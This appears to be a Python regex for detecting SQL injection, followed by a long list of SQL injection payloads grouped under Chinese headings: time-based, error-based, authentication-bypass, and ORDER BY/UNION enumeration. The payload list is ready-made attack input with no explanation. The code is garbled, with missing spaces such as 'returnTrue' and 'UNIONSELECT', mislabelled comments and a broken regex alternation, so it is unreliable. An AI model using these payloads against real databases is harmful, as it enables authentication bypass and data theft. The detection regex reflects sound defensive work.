pattern = re.compile( r"(%27)|(\')|(\-\-)|(%23)|(#)|"# Regex for detection of SQL meta-characters r"\w*((%27)|(\'))\s+((%6F)|o|(%4F))((%72)|r|(%52))\s*|"# Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or', r"((%3D)|(=))[^\n]*((%27)|(\')|(\-\-)|(%3B)|(;))"# Regex for typical SQL Injection attack eg: '= 1 --' r"((%27)|(\'))union|"# Regex for detecting SQL Injection with the UNION keyword r"((%27)|(\'))select|"# Regex for detecting SQL Injection with the UNION keyword r"((%27)|(\'))insert|"# Regex for detecting SQL Injection with the UNION keyword r"((%27)|(\'))update|"# Regex for detecting SQL Injection with the UNION keyword r"((%27)|(\'))drop", # Regex for detecting SQL Injection with the UNION keyword re.IGNORECASE, ) r = pattern.search("' OR 1 -- -") if r: returnTrue
' or ' -- or # ' OR '1 ' OR 1 -- - OR "" = " " OR 1 = 1 -- -" 'OR''=' '=' 'LIKE' '=0--+ OR1=1 ' OR 'x'='x ' AND id IS NULL; -- '''''''''''''UNIONSELECT'2 --- 基于时间的payload ,(select * from (select(sleep(10)))a) %2c(select%20*%20from%20(select(sleep(10)))a) ';WAITFOR DELAY '0:0:30'--
--- 基于通用错误的payload
OR1=1 OR1=1# OR x=y# OR1=1-- OR x=x-- OR3409=3409AND ('pytW'LIKE'pytW HAVING 1=1 HAVING 1=1# HAVING 1=0-- AND 1=1-- AND 1=1 AND '%'=' WHERE1=1AND1=0-- %' AND 8310=8310 AND '%'='
--- 基于认证的payload
' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' ortrue-- " or true-- ' or true-- ") ortrue-- ') or true-- admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/
--- Order by和UNION的payload
1' ORDER BY 1--+ 1'ORDERBY2--+ 1' ORDER BY 3--+ 1'ORDERBY1,2--+ 1' ORDER BY 1,2,3--+ 1'GROUPBY1,2,--+ 1' GROUP BY 1,2,3--+ 'GROUPBY columnnames having1=1-- -1' UNION SELECT 1,2,3--+ 'UNIONSELECTsum(columnname ) from tablename -- -1UNIONSELECT1INTO @,@ -1UNIONSELECT1INTO @,@,@ 1AND (SELECT*FROM Users) =1 ' AND MID(VERSION(),1,1) = '5'; 'and1in (selectmin(name) from sysobjects where xtype ='U'and name >'.') --